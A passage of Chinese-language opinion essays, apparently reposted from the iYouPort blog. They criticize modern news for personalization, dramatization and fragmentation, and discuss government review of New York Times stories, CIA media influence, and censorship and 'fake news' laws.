总计花了将近八分半钟的有问题的新闻报道，优先于其他所有国家和国际消息。更具有讽刺意味的是，当狂热分子把新闻业视为**‘fakenews’**时，**NBC** 像其他网络一样，拼命地哄观众开心，而不是为公民提供有价值的信息。

这方面的分析我们也做过：媒介即思维，娱乐至死的社交媒体时代已经将新闻改造成了大舞台，甚至包括老牌 NBC 这样的严肃时政新闻，也没能侥幸避免。这并不是近几年才有的现象—— 它一直在不断增强的状态下。

讽刺现代新闻的无聊和娱乐至死，已经成为美国社会的一种亚文化，其中，IYP认为最精确、且最深入的讽刺是美国著名小说家 Don

DeLillo 的名著《白噪音》，这本书有中文版，想必中国读者中很多人已经熟悉，您会理解我为什么要推荐它。

III 碎片化

这是第三种最为严重的倾向：即 新闻故事之间以及新闻故事与宏大的新闻背景之间彼此孤立，缺乏联系，于是新闻中的信息就变得非常琐碎，很难形成一幅整体画卷。

这样的新闻是无法促进社会动员以形成反抗的。我们观察到在中国，由于缺乏独立媒体和NGO权利组织，现代“新闻”的诸多弊端难以被弥补，甚至已经造成了人们误认为存在即合理—视主流媒体为“结论”的惊人景象。

这一景象直接造成的是，人们已经无法接触到新闻应有的真正的结论，即 集结斗志动员社会反抗。

比如，人们遭到了当局的迫害，他们最大的追求便是*被媒体报道*，或者准确说是*找媒体伸冤*，只要媒体报道了这件事，人们就会放心，似乎被报道就是一个结论、似乎“问题已经解决了”，事实上完全没有—— 你只不过是帮助媒体填补了一个版面。并且，鉴于如今的新闻周期已经变得非常短（只有几天甚至只有几小时）你这个版面很快就会被后面继续出现的“新闻”冲走，这种过眼云烟的“结论”是起不到任何作用的。

其结果就是，问题看起来层出不穷，媒体总是有话题做，版面是丰富的，然而却没有任何问题被真正的重视，没有任何问题能引发社会变革。人们开始满足于吐槽，忙于吐槽—因为太多了几乎吐不过来，整体上很热闹，但任何事都无从解决。

IYP 的热心读者们评论到：

> *“假疫苗,小学校发生的暴力,实验室爆炸, 在中国这种事件甚至是几周都会出现,但是最后都die down..”*；*“没过几天人们又在说中国真安全了，真是奇怪”*；*“事件经常出现，又没有实际的解决，带来的还有习以为常的 麻木感”……*

非常正确！这就是关键所在。

对中国来说更糟糕的是，党管媒体的概念已经深入人心，人们不再信任中国本土媒体，但却由于不了解什么才是真正的新闻，从而错误地

信任了所谓的外媒。中国公民在谈起“外媒”时所指的从来都是美国主流媒体，而不是独立媒体—海外独立媒体由于经费紧张、资源极为有限，他们往往高度本土化，而难以关注其他国家的问题—于是中国公民唯一可能期待到的只是被主流媒体报道一下，就像隔着厚重的玻璃窗来一个亲吻，然后稍纵即逝。

造成新闻碎片化的根源在于过分强调新闻中的人物个体，而忽略人物所处的政治背景。戏剧化的报道模式又使新闻事业变得更加孤立。另外，由于担心信息量过大让人厌烦，所以媒体对刊播版面或播出时间均作出了严格的限制。这些现象都进一步加剧了信息的碎片化。

结果，新闻往往以一种一知半解的、戏剧化的压缩饼干形式呈现在所有人面前，使我们难以看清问题的根源、历史意义、或者与其他问题之间的重要的相关性。

加上媒体经常被他们的受众牵着鼻子走，为了挽留受众的眼球，而不是基于对事件的独立调查写出报道，受众要搞清楚某件事的来龙去脉是非常难的。没有人能知道自己不知道什么。

并且，新闻媒体不能提供历史背景，很少解释事情发生的原委，报道整体给人留下的印象就是：这个世界一片混乱，危机四伏，不知道什么时候危机就出现了，然后不知道什么时候又“消失”了。事实上一切都没有消失，只是媒体宣布了一个又一个表面化的伪装。

IV “权威-失序”倾向性

“权威-失序“是一个不断轮回的圆圈，更准确的描述是”权威-失序-权威“。中国读者应该在这方面有非常的体会。但是由于中国的新闻体制是执政党主持的，于是人们有可能误会这种状况是执政党“特征”。事实上不是，它是现代“新闻”本身的弊端之一。

不管这个世界是否恢复了安全和正常，甚至不管“一个正常的世界”这种想法本身就值得怀疑，都无法否认，新闻最关注的是秩序，以及与之相关的话题，比如当权者能否建立或恢复秩序？

为什么这些泛泛的新闻结构会成为“新闻”的中心？答案显而易见：因为它们能构成各种各样的、取之不尽用之不竭的主题，永无止境的融入个人化、戏剧化、碎片化的新闻情节中。

政治学家 Edelman 说，一个经典的政治场景就是，当权者站在讲坛中央，充满感情地承诺，“危机将得到有效处理”—— 很多时候危机就

是他挑起来的。

现如今当权者依旧在认真扮演自己的角色，但媒体对官方的声明和秩序稳定的推论越来越不买账了（虽然在中国依旧买账），当然“恢复正常秩序”的报道依旧会时不时出现，但更多的新闻笔墨会集中在那些没有同情心、工于心计的政治人物身上。再次进入上述的“个人化”。

在中国由于苛刻且愚蠢的新闻管制，也许人们会认为批评领导人“是一种勇气”，事实上，即便“换届”也并不能保证解决问题，因为根本性问题一直没有被准确清晰地呈现出来。

不管新闻事件本身是否符合“权威-失序”的情节模式，媒体都能想办法让它符合，这很容易办到。最经典的剧情是墨西哥湾漏油事件（不仅是新闻专业课重点案例，而且被搬上了很多影视节目），虽然说漏油不是奥巴马的责任，但他很快被成为了新闻焦点，所有人都在关心他能不能掌控局势。主流媒体发布的图文高度聚焦在他一个人身上，纽约时报的照片就是奥巴马站在海滩上和工人聊天，该照片的题目就叫《掌控之中》👇

这也许就是高度信任美国主流媒体的中国读者为什么具有如此高的权威依赖心理？不好说，但现代“新闻”的确如此，一贯如此。这种思考方式是无法动员反抗的。

下篇文章将更深层次剖析这些问题。因为我们只有深入了解这些问题，才能明白该怎么做以挽回政治参与、社会反抗意识和捍卫民主的关键效用。●

——未完待续——

原文

现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价 - iyouport

关于真实的“媒体”-真相衰变

【2019年1月24日存档】造成现代“新闻”已经无法服务于民主的问题根源并不是故事本身，而是讲故事的方式。认识到这一点非常重要。我们将来还会详细讨论什么样的方式才能够对公民的政治参与产生积极的引导作用。本文将继续深入解释为什么媒体变成了这样—— 中国社会目前正迫切需要了解这些问题，我们将在后面解释为什么

—— 这只是一场游戏，而它一直在耽误正事 ——

如果您还没有读过前面两篇，可以在这里看到：(1) (2) 本文中我们将深度解析这些倾向性，并且，指明其政治代价。

重新审视个人化新闻

在全面文章的概述中我们解释了，个人化的新闻是指报道中突出个人，而弱化制度、社会和政治大背景的一种倾向性。

随着新闻受众和新闻产品之间变成了品牌认知的关系，新闻已经在个人化的道路上越走越远。比方说，电视节目主播的播报风格，甚至在节目中的形象都要依据市场调查的结果而定，而报纸则被要求紧跟读者的生活时尚，这种个人化的包装趋势是由那些职业新闻顾问、或者说“新闻策划大师” 开创的，Philip MeHugh 就是其中最著名的策划大师之一。

MeHugh 曾经说过，“必须强调个人和人情味。电视节目必须要有一个能够让观众感到亲切的主持人 ……要做到这点，主持人必须具有非同寻常的人格魅力” (Edward W. Barrett, “Folksy TV News”)

以电视/视频为主的大众传媒已经确立了一种新闻报道模式，其特点就是赚钱，廉价成本和易于生产。但是，对于消费者来说—也就是广

大公民—这种模式毫无益处。然而它早已在现代“新闻”界处于非常高的地位，大多数媒体把它当成了金科玉律。

流量之冠 NBC 的著名节目“Today”的制片人 Jonathan Wald 在“911”之后是这么说的：“早晨醒来，人们希望知道他们身处的世界是否安全，他们指望我们来帮助他们确认是否一切正常”。在今天这个充满阴险的新闻时代，对于“我所处的世界是否安全”这种问题，答案未必能让人感觉安慰，但是新闻个人化的倾向，也就是对“我所处的世界” 的强调，依然占据主导。(Howard Kurtz, “Since September 11 Attacks, TV Morning Shows Rediscover World News”, Seattle Times)

华尔街日报对政府停止大规模公共就业计划的报道是其中典型之一，虽然该报道可以从社会、政治和经济等诸多宏大背景的角度展开，但是，这篇报道的开头却是这样的：

“旧金山—— 第一缕尚带寒意的阳光洒在 Haight-Ashbury 人行道上，一名清洁工停下脚步，把路边排水沟散落的落叶、垃圾和狗屎扫在一起。‘对我们穷人来说，这样一份工作已经很好了’。清洁工说，‘有了这份差事，我就能养家糊口。等我把这儿的活儿干完，还可以回家照料我的小女儿。帮她把硬纸壳塞进鞋子里保暖。我妈妈过去就是这样做的’。“(Wall Street Journal, June 17)

虽然按照新闻写作习惯，最重要的事情应该最先交代，最无关的内容要放在最后，但是这篇文章一直到第八段才开始谈就业计划可能对社会、政治和经济造成的影响，而且这一重点只花了三段内容，紧接着继续讲述清洁工催人泪下的个人故事。

这种模式已经被至高很长时间了。从克林顿时代后期开始，福利制度改革席卷全国，记者们纷纷涌向各种政府部门和职业培训项目，试图寻找和以前不一样的个性化故事。由于两党意见统一，于是对新闻的干预相对较少。因此，至少有几百名穷人当上了15分钟的媒体明星。

事实上在他们的故事里，新闻的个人化倾向发展到了极致以至于新闻本身也成为了个人故事发展的一部分，而不仅仅是个人经历的隐形记录。其中一位妇女由于受到了ABC、NYT等多家媒体的采访，曝光率给她带来了大量的粉丝，在纽约时报后来的一次采访中，这位女性告诉记者，整个过程最令人骄傲的是，“我的11岁的儿子大声说：‘妈妈你又要上新闻了！’……”(From the Welfare Rolls To the Starring Roles. By JASON DEPARLE)

政治领导人的个人化是尤其突出的，这在中国也一样（更多详见《中国政府已攀上景观政治的边缘》和《互联网时代：并非心理学意义上的自恋文化》）其结果就是，我们从新闻中了解到的更多是那些有权有势的、光芒四射的个人，而不是政府如何运作。正如 Paletz 所说："重要新闻都离不开这些权力人物的活动，按照媒体的设想，最好是这些人的冲突"。（Media Power Politics. Authors, David L. Paletz, Robert M. Entman）想想美国主流媒体对马云、王健林等富豪的痴迷。

小布什、里根、奥巴马等等的成功不仅仅得益于个人魅力和公关能力，就如小布什的"壮志凌云"亮相那样，电视上的政治角色需要依靠专业的公关团队来策划新闻事件，拟定公关策略，才能在一贯具有倾向性的媒体报道中占到便宜。

David Gergen 是最早了解媒体"政治事物个人化"倾向的传播策略大师之一，在为克林顿效力之前他也为里根做媒体宣传主管，里根能赢得新闻界"伟大交流家"雅号，David Gergen 功不可没。Gergen 认为，政治人物的政治生命取决于他们在新闻中的个人形象是强悍还是软弱。他奉行的原则是，"最好的防卫就是进攻"—— 然后特朗普把这点发挥到了极致。

在传媒至上的时代，这种权力观已经成为政界的标准思维。克林顿由于个人丑闻加之没有掌握 David Gergen 的教诲，在许多重大问题上都遇到了麻烦，支持率总是50%上下波动。当年一位克林顿内阁告诉记者："一个总统如果总是48%支持率，那么每次大一点的投票都将意味着生死关头—— 这种情况下你要对付的局面是，那些议员们不知道要拥抱你还是踩死你"。

奥巴马是另一个极致，他的前任很少能经历如此多的个人化报道。最著名的出生地阴谋论中，一些国会议员在媒体上煽风点火，据估计有17位议员直接或者含沙射影地对出生地提出过质疑（The Birthers in Congress）美国著名电视主持人"扣扣熊" Stephen Colbert 曾经讽刺说："应该让这些人去证明自己不是一只短吻鳄的非法子孙"。

无疑这种东西非常具有现代"新闻"所珍惜的"价值"。

最后夏威夷州州长出面以平息阴谋论。可惜的是，一旦这种有争议的问题成为了新闻话题，人们就开始不由自主地被错误观点所吸引，多年后直到如今你仍然能听到出生地的质疑。然而人们现在应该知道了，奥巴马政府的问题根本不是什么出生地，他对真相的封杀抓捕了史上最多的举报人、扔下了更多的炸弹、以及众所周知的绥靖态度，

却没有主流媒体关心。

—— 个人化新闻的政治代价 ——

如果新闻只关注政治斗争中的胜利者、失败者、他们的个性和个人冲突，那么，新闻受众获得的有关权力及其政治后果的看法就是严重扭曲的。Paletz 指出，新闻报道强调的往往是表象，政治斗争中愤怒的声音和激烈的场面，以及涉及到的各种名流—— 反正只要充满戏剧性的东西就行，而问题的根本原因和实际影响却极少被触及，或者说，很容易被遗忘。

我们必须强调这点是因为，多年来所谓的“海外中文媒体”对政治八卦的崇拜已经成为了中文界一种现象级典型，暂且不议他们发表的内容究竟是不是真实的，这种个人八卦崇拜的结果就是，在公众眼里，政治世界变成了一个神秘王国，里面的角色要么强大到呼风唤雨，要么软弱得无所作为。这些都不是真实的。

不了解权力的架构就很难理解政治体系实际是如何运作的。

并且，对遥远的新闻人物进行直接的感情投射可能会造成新闻受众形成自我中心化和种族中心化的思想。新闻给受众造成一种“老子天下第一”的观念，强调的是“我”的安康、“我”的群体、和“我”的国家的重要性，而与己不同的一切社会现实，都被视为无关紧要。

虽然大多数新闻会平衡报道正反两方面意见，但是，很少能为受众提供解决双方分歧的有效方案。相反，在新闻中，媒体往往喜欢把不同派别的观点描述成截然相反的对立面。如此般，受众要想不费力气把事情看明白，就只能选择那些与自己的信仰和偏见相一致的事实了。极化就这样被造成。

重新审视戏剧化新闻

以下是一家主流电视网的执行制片人撰写的政策备忘录，看看他对编辑和记者提出了什么样的忠告—— 没错，让他们有意识地强调新闻的戏剧性：(Edward Jay Epstein, News from Nowhere)

> 每条新闻都应该力图体现事件的小说元素或戏剧色彩。新闻要讲究结构和具备冲突，要提出问题，还要有结局，情节要起伏，要有始有终。这些不仅是戏剧所必备的要素，也是我们新闻叙事中必不可少的。

一般来说，媒体在决定谁将在晚间新闻的戏剧舞台出场时，更多的是

考虑这些新闻人物作为戏剧演员的潜能，而不是他们在政治体制中的实际地位。

比如美国，总统、国会和最高法院在宪法中是享有平等权力的，然而在新闻中，总统的戏份最多，而且几乎所有的政治场景都能把他拉上场；总统自己也非常重视和媒体的联合性宣传，白宫的新闻策划大师会安排最佳的剧情。但相比下，最高法院的法官“上镜率”就低得多了。而真正掌握政策走势的情报机构（即隐形政府）几乎不会被主流媒体揭穿。

虽然宪法规定国会两院的地位是平等的，但是媒体给予的聚光灯可完全不一样，参议员颇有名望，而众议院就好像是一群乌合之众。就如媒体观察家 Stephen Hess 所说，众议院的规模就像《战争与和平》，而参议院则像《罪与罚》。

中国读者对美国政治有广泛的误解，很可能与此有关。对新闻倾向性的了解已经让议员们学会了如何利用媒体，他们知道如何掌握身上的聚光灯。

Robert Darnton 曾经回忆说他在做记者的时候是如何被迫对新闻事件戏剧化的。他当时是市政报道组的记者，被派去报道一场报童丢车案。他把稿子写出来后被编辑退回来了。他的同事告诉他，你应该写得再生动一点，要有戏剧性才行：把这个男孩对自行车的感情写进去，要更多描述车子丢了这个孩子有多伤心，要写这个孩子打算靠自己的努力再买一辆新车……要写成励志小说。Darnton 按照这个指点修改了稿子，结果成功被发表在报纸上。(Writing News and Telling Stories)

Harper’s 的编辑 Lewis Lapham 也有同样的经历，他说他曾经对一些记者在报道灾难事故时的驾轻就熟深感钦佩，后来那些记者透露了自己的秘密：在他们的办工桌抽屉里有一堆卡片，上面记录的都是模版，按字母顺序排列—— 火灾、撞船、凶杀等等，然后每个类别又分为许多子类—— 火灾1、仓库2、住宅3 ……模版中相关的姓名、数字、伤亡情况、地址等等都空着，一旦出事，你只要抽出一张卡片，按照填写表格那样做就行了。(Lewis H. Lapham, “Gilding the News”)

戏剧化的新闻更追求情节上的轰动，只能说是情节剧，而不是严肃戏剧，只能说是肥皂剧，而不是莎士比亚戏剧。看完《哈姆雷特》的人不会认为可怜的哈姆雷特是个真正的输家。如果记者追求的是更严肃的戏剧，其结果还可能不会像现在这样令人反感。

其实新闻选择和呈现事实的方式上有所变化并不需要莎士比亚的天赋，在正统戏剧中甚至畅销小说中人们都能意识到历史、制度、权力、冲突、隐藏的利益以及意外事件在故事中所起的作用，而在新闻情节剧中，这些因素全部被忽略了。

——新闻戏剧化的政治代价——

最直接的后果就是琐碎。一种越来越严重的戏剧制作倾向取代了对重大事件和问题的持续关注。即使新闻剧确实反应了新闻事件的某些特质，但过度的戏剧效应只会分散人们的注意力，不再能理解到新闻本身具有的深远意义。

动态新闻需要的就是快，就像抢救济面包那样一哄而上。而长期的社会问题和政治问题通常会被媒体忽略，就是因为这些问题的节奏太慢—— 这是 Gaye Tuchman 的名言，简直一语中的。从这点看，个人化和戏剧化的倾向性所造成的结果很相似。

我们已经多次推荐过 Don DeLillo 的作品（爱死他了）他对新闻和政治的讽刺之深刻，超越同类几乎所有作品。我们引用一段分享给大家（The Names）：

> 我认为美国人只有在危机中才能看到外国人。当然，这还必须是美国的危机。如果是两个并不向美国提供某种特殊商品的国家打起来了，那就没必要让美国公众了解有关这两个国家的知识。但是，如果这个独裁者倒台了，石油供应受到了威胁，这时你打开电视，节目就会告诉你那个国家在哪儿，讲什么语言，国家领导人的名字怎么读，那里的人们信仰什么宗教，你甚至能从报纸上剪几个波斯菜谱练练手。全世界都对美国人这种自我教育的奇怪方式感兴趣。全是电视。你看，这是伊朗，这是伊拉克。来让我们把这个单词的发音搞正确，伊-朗、伊-朗人，这是逊-尼派，这是什-叶派，非常好！明年我们再去折腾菲律宾群岛，怎么样？

戏剧化的新闻还会造成另外一个信息困境：媒体在报道的过程中，不是努力挖掘最具代表性的典型案例，而是乐此不疲地寻找极端个案。你完全不知道他们是在报道还是在创作小说。

相对来说，戏剧化的新闻往往情节比较简单，容易把握，并且对行为背后的个人动机提供了表面化的解读，于是这种新闻比较大众，但是

极可能对理解和判断真实政治事件造成误导。人们往往认为自己对某个问题有所了解，而实际上他们的了解不过是建立在幻想、虚构和神话的基础上。

情节式的新闻造成人们对世界的一种错误理解，而这种错误理解最终导致的结果就是，在严重的社会问题面前，人们毫无准备，不知该如何有效应对。

公众其实并不像传媒专家们认为的那样头脑简单，但这不在本文的讨论范围之内。没有任何新闻学教程将新闻定义为“受众需要的任何东西，不管这些东西是如何编造出来的和毫不相干的”。至少从理论上说，新闻的作用应当是告知公众，而不仅仅是娱乐公众。

新闻越来越戏剧化、娱乐化的方向发展，这种趋势也许表明，一种新的传播形式正在产生，它有可能还是被称之为“新闻”，但如何你认为它能起到传统新闻那种捍卫民主的作用，那就大错特错了。

在现代生活中，政治已经距离普通人的生活越来越远，戏剧化的新闻还要推波助澜，最终把公众的政治自觉意识直接葬送在小说般的虚幻中。而且是那种劣质的地摊读物，离 Don DeLillo 的级别还差几个太平洋呢。

以下就是戏剧化新闻造成的直接政治后果：# 干扰公众对于问题潜在重要根源的关注；

- 从个案角度对问题进行解释、分析，误导公众；
- 为那些从戏剧角度上看令人满意而实际操作角度上毫无作用的解决方案提供了广泛的政治空间。

1. “权威-失序“的倾向性显然是把某一特定事件与其社会背景和历史潮流割裂开来，通过一种肤浅的情节模式（如政治游戏、领导地位受到挑战和社会崩溃的迹象）对事件进行戏剧化处理，而不是把事件放置在历史、政治和现实的背景下进行解释；

- 相比之下，重要历史事件的报道往往会打破一般新闻的情节模式，顺着文献信息的踪迹，挖掘社会和制度根源。在这些案例中，权威和社会秩序的问题没有把新闻事件与其所处的大背景阻隔开来，而是拓宽了公众思考的范围：事件本身有什么意义？有什么可以让整个社会汲取的经验和教训？

1. 中国官方媒体高度效仿美国主流媒体的报道方式—即本系列文

章所分析的弊端—这是被宣传机构要求的、并且也是被培训的；

- 中国社会严重依赖美国主流媒体而不是独立媒体作为信息源，加之中国社会没有自己的独立媒体，于是无人能与海外媒体配合传播真相，于是海外媒体只能搜集中国公开发布的消息，变成复读机；
- 中国当局强调官媒需要抢占“负面新闻”发布权，这便令所有吸引海外主流媒体的*素材*完全变成了出自中国官方；
- 中国官媒和美国主流媒体一样在各自本国占据 90%+ 公民认知市场的份额；
- 它们采用了相同的现代“新闻”报道模式，具备相同弊端，即本系列文章分析的四大倾向性，它们都无法对社会变革和动员起到实际作用。

中国社会尽早认识到现代“新闻”的问题，并调整对其的期望，非常重要。希望本系列文章能为您带来帮助。

我们将在后面详细介绍足以维护民主的新闻应该是什么样，以及公民和媒体应该如何做才能实现这样的价值。●

我们在《为什么说记者的专业性和对安全知识的熟练掌握决定了民主的可持续性》一文中提供了一套专业知识和技巧的文章列表 —— 如果职业记者“不行”，那么公民记者就必需“很行”，希望这些知识能为中国社会带来帮助。看好你们！

原文

“审查制度是美国的葬礼，是我们的宪法和权利法案的终结” - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

第17届国会选举共和党候选人 Bill Fawell 表示，Facebook 正在审查他的 Elect Fawell 主页，并删除了他从名为 theburningplatform.com 的博客分享的帖子。他说，Facebook删除了讨论 William Strauss 和 Neil Howe 在1998年的作品《第四次转折：美国预言》一书的三篇文章。

“第四次转折”这本书对历史和社会变化进行了理论分析，称美国历史在一个长约 80 年的周期中循环运行，每一个周期包含四次转折，而每逢第四次转折都将面临危机；美国历史上每一次卷入全面战争都发生在第四次转折，没有一个周期的第四次转折是无战而终的，前三次分别是独立战争、南北战争和第二次世界大战；美国在 2008 年进入本周期的第四次转折，趋势的进一步加深可能引发另一次金融危机或大型武装冲突，将激发公众舆论并迫使领导人采取更果断的行动……每次转折都会成就一位“gray champion”式的领导者。在第三篇题为“凛冬将至”的博文中， Jim Quinn 断言 Trump 就是那个“gray champion”。

Fawell 周二表示，审查制度是“美国的葬礼”，“这是我们的宪法和权利法案的终结。”他呼吁Facebook首席执行官 Mark Zuckerberg 辞职，并让联邦政府监管社交媒体网站。他在发布会上说，“我们已经失去了整个国家的灵魂。”

Fawell 说，Facebook 在周二早上删除了他的题为 Elect Fawell 的 Facebook 主页上的帖子，该帖是他分享来自 theburningplatform.com 的文章。

“这是应受谴责的，这不是美国当有的行为。我认为这是犯罪“，他说，“马克扎克伯格绝对不会放弃他的位置。”

众议员 Busto 的传讯总监 Jared Smith 说：“我们在社交媒体页面上从来没有经历过类似的事。“似乎 Facebook 正在尝试新事物来解决

社交媒体上所谓虚假新闻问题。我只是想知道是不是这样。“ Fawell 表示，他要对 Facebook 提起诉讼，社交媒体在审查某些内容时没有发出通知。他称，一家名为 In-Q-Tel 的公司通过 CIA 投资了 Facebook。

“这些信息是已经被详细记录的”，他说，“他们（CIA）是谷歌和 Facebook 的早期投资者。 CIA 从哪里得到的这笔钱？纳税人！“

Fawell 说他不认为 theburningplatform.com 的博客是有争议的，《第四次转折：美国预言》这是“一本非常重要的书”。作者 Strauss 和 Howe 是真正的主流，“这让我感觉震惊！”他说。

“言论自由在我们的权利法案中，在我们的宪法中……他说，如果当选，他要介绍的第一项法案就是“自由法案”，要求重组联邦政府，让州政府更多地控制联邦机构。

“所有的机构都从国会夺走了权力。我们 90% 的法律都是在联邦机构制定和通过的。这就是为什么有 10,000 名游说者为亿万富翁撰写法律……我们破产了。当你破产时，你只有两种选择：一场暴力革命或重组。公共机构应该被推回到各州。“

原文

"纽约时报"承认，在稿件发布之前它会主动接受政府的审查 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

主流媒体一直在主动接受政府审查这不是新闻；但一直以来这件事都是隐秘的。公开承认这点、甚至以此为荣，却真的是新闻了……

「图」

「图」

“纽约时报”公开承认，它在发布之前会将其部分文稿发交给政府审查，以获得“国家安全官员”的批准。

这证实了像 James Risen 这样的资深纽约时报记者所指出过的：报纸经常与政府合作，"以压制高层官员不希望公开报道的任何内容"。

延伸《电子邮件被曝光：揭示记者主动接受情报部门的审查，这究竟是为什么？》

6月15日，纽约时报报道称，美国政府正在加剧对俄罗斯电网的网络攻击。

根据这篇文章，“特朗普政府正在更积极地部署网络战工具”，这是华盛顿和莫斯科之间更大的“数字冷战”的一部分。

在回应这份报道时，特朗普在推特上骂纽约时报，称这篇文章是“a virtual act of Treason”。

纽约时报公关办公室从其官方推特账号中回复特朗普，捍卫这篇报道，并指出它在出版之前已经被美国政府批准了。

纽约时报账户说：“我们在出版前向政府描述了这篇文章。”

“正如我们的报道所指出的那样，特朗普总统自己的国家安全官员没有对此表示任何担忧”，纽约时报补充道。

「图」

「图」

事实上，“纽约时报”关于美国不断升级的针对俄罗斯的网络攻击的报道归因于“现任和前任官员”。

这一报道正是来自这些官员，而非勇敢无畏的调查记者的曝光揭露。

得到“国家安全”官员的批准

新自由主义者自称“Resistance”，特朗普肆无忌惮地指控叛国罪（民主联盟自称 “我们帮助运行 #TheResistance”，并称特朗普为“普京的傀儡”）。其余的企业媒体都疯了。

但完全被忽视的是“纽约时报”声明中最具启发性的东西：即 该报基本承认了它与政府有共生关系。

事实上，一些著名的美国权威人士甚至坚持认为，这种与政府的共生关系“正是使某人成为记者的原因”。

5月，新保守派华盛顿邮报专栏作家 Marc Thiessen（前总统乔治·W·布什的演讲撰稿人）宣称，维基解密出版人和政治犯 Julian Assange “不是记者”；相反，他是一个“值得被监禁”的“间谍”。

邮报专栏作家私自撤销 Assange 新闻资质的理由是什么？

Thiessen 写道：与“信誉良好的新闻机构不同，Assange 没有给美国政府机会审查 **Wikileaks** 计划发布的机密信息，政府官员没有机会提出异议 …… 所以 [惩罚 Assange 的结果] 其他记者不必害怕”。

邮报应该给 Thiessen 颁发一个“绝世猪队友”的锦旗了。

换句话说，这位前美国政府演讲稿撰稿人认为，与政府合作、接受政府对你的报道的审查，才能在很大程度上决定你是一名记者。

这就是这位著名评论家表达的意识形态。

“纽约时报”编辑非常愿意与政府合作

企业媒体和政府之间的共生关系已有很长一段时间了。

情报机构就像一种乐器一样发挥作用 —— 选择性地在适当的时刻泄露信息，以推动政府的软实力并提升当权者的利益。

但是一直以来很少有这种共生关系被如此随意和毫不知耻地承认。

2018年，前“纽约时报”记者 James Risen 在“intercept”发表了一篇15,000字的文章，进一步深入探讨了这一未说明的审查合作的运作方式。

「图」

「图」

Risen 详细描述了他的编辑“非常愿意与政府合作”。

事实上，一位中央情报局的高级官员甚至告诉 **Risen**，他批准秘密行动的经验法则是“这在纽约时报的头版上看起来怎么样？”

Risen 解释说，国家和媒体之间存在“非正式安排”，美国政府官员“定期与新闻界进行谈判，试图阻止任何敏感信息的发布。”

“当时，我通常会参与这些谈判”，这位前纽约时报记者说。他回忆起他在2001年9月11日袭击事件之前就阿富汗撰写的一个报道的例子。当时的中央情报局局长 **George Tenet** 亲自打电话给 **Risen**，并要求他封杀这个报道。

“他告诉我，披露这些消息会威胁到中情局在阿富汗的官员的安全，”Risen 说，“然后我就同意了。”

Risen 说他后来质疑这是否是正确的决定。

他写道：“如果我在**911**之前发布了这篇报道，那么中央情报局会生气，但是，报道可以引起公众辩论美国是否足以捕获或杀死本·拉登”**……**“那场公开辩论将可能迫使中央情报局更加认真地抓捕本·拉登。”

这种困境导致 Risen 重新考虑回应美国政府对报道审查的要求。

“这最终让我与纽约时报的编辑们发生了冲突，”他说。

“在9/11袭击事件发生后，布什政府开始更频繁地要求新闻界封杀报道，” Risen 继续说道。

“他们经常这么做，以至于我确信政府是假借所谓的国家安全来摧毁那些仅仅在政治上令当权者尴尬的报道”。

「图」

「图」

在伊拉克战争前夕，Risen 经常与纽约时报编辑“发生冲突”，因为他对政府的谎言提出了质疑。

但他的报道所质疑的 “特别是政府对伊拉克与基地组织之间存在联系的声称，都被砍掉了、埋葬了、被拒绝了。”

纽约时报的执行编辑 Howell Raines “被许多人认为更喜欢支持战争的报道，”Risen 说。

在另一则轶事中，Risen 回忆起他在一个拙劣的中情局情节中发现的一个独家新闻。

布什政府听到了风声，并把他叫到了白宫，当时的国家安全顾问康多莉扎·赖斯命令“纽约时报”封杀这个报道。

Risen 说赖斯告诉他 “要忘记这个故事，销毁我的笔记，不要再拨打电话与任何人讨论此事。”

“布什政府成功地说服媒体搜查和封杀报道”，Risen 写道，而巴拉克•奥巴马（Barack Obama）政府随后加速了“对新闻界的战争”。

中央情报局媒体渗透和制造同意

在著名的媒体研究报告 “制造同意：大众传媒的政治经济学”中，Edward S. Herman 和 Chomsky 阐述了一种“宣传模式” —— 展示了“媒体如何为强大的权势服务、制造符合权力机构政策的新闻价值定义”。

但在某些情况下，情报机构与企业媒体之间的关系不仅仅是意识形态维稳、或间接压力，而是雇主关系的一种。

20世纪50年代，中央情报局发起了一项名为 Project Mockingbird 的

秘密行动，监视、影响和操纵记者和媒体的报道，明确是为了引导公众舆论。

在这里看到介绍《冷战故事 ~ CIA 如何操纵媒体影响舆论：Mockingbird 行动》。

传奇记者 **Carl Bernstein** 是华盛顿邮报的前记者，曾帮助揭开水门事件的丑闻，他于1977年发表了一篇题为“中央情报局和媒体”的滚石杂志封面故事。

Bernstein 获得了中央情报局的文件，这些文件显示，过去**25**年中有**400**多名美国记者“秘密为中央情报局执行任务”。

Bernstein 写道：

“记者提供了全方位的秘密服务 —— 从简单的情报收集到担任间谍的中间人。记者与中央情报局分享了他们的笔记 ……

…… 大多数人都不那么崇高了：他们发现与情报机构的关系有助于他们的职业生涯 …… 甚至，全职的中央情报局员工伪装成国外记者。

…… 中央情报局的文件显示，在许多情况下，在美国主要新闻机构管理层的同意下，记者们参与了中央情报局的任务”。

Bernstein 透露，几乎所有主流媒体都与中央情报局合作，包括ABC，NBC，美联社，UPI，路透社，新闻周刊，赫斯特报业，迈阿密先驱报，星期六晚报和纽约先驱论坛报……

然而，他补充说，“根据中央情报局官员的说法，这些媒体机构中最有价值的一直是纽约时报、CBS 和时代公司。”

这些层面的国家操纵、审查、甚至新闻媒体自己也承认了这点，即 这些主流媒体实际上只是政府的发言人。〇

延伸：《主流媒体为什么注定撒谎？》；《守门人作为认知杀手》

NY Times admits it sends stories to US government for approval before publication

广告

原文

⚠ 言论审查“六骑士”之一：假新闻，正在侵蚀东南亚国家民主的灵魂 #fakenews - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

> 伪劣内容产品是信息自由的代价，但也只有信息自由，才能遏制更多的有目的的宣传性虚假 - 由权力主导的虚假。这就是为什么信息自由是我们必需保住的原则，提升人们的判断力是我们应该追求的目标。

「图」

近日，两名志愿者撰写了一份报告“Building an Informed Community: Principles for Cross-Sector Collaboration in Southeast Asia”，挖掘和揭示东南亚各国政府如何通过制定规则试图遏制网络上的“恶作剧”、甚至为了自己的政治目的而遏制言论自由，而不是为了解决骗子传播恶作剧所引起的问题。

在全世界范围内，立法者和官员都试图利用“假新闻”立法来审查内容，就像该术语可能有某些狭义的定义那样，但事实上并没有，它是一个可以被任意涂抹的概念。

普通骗局与精英政治所使用的网上虚假信息和错误信息没有本质性区别，精英们经常利用片面甚至完全虚假的陈述以改变人们的观点并获得政治支持。在每个东南亚国家“恶作剧”都具有广泛的意义，取决于谁从恶作剧的歇斯底中获得政治利益。

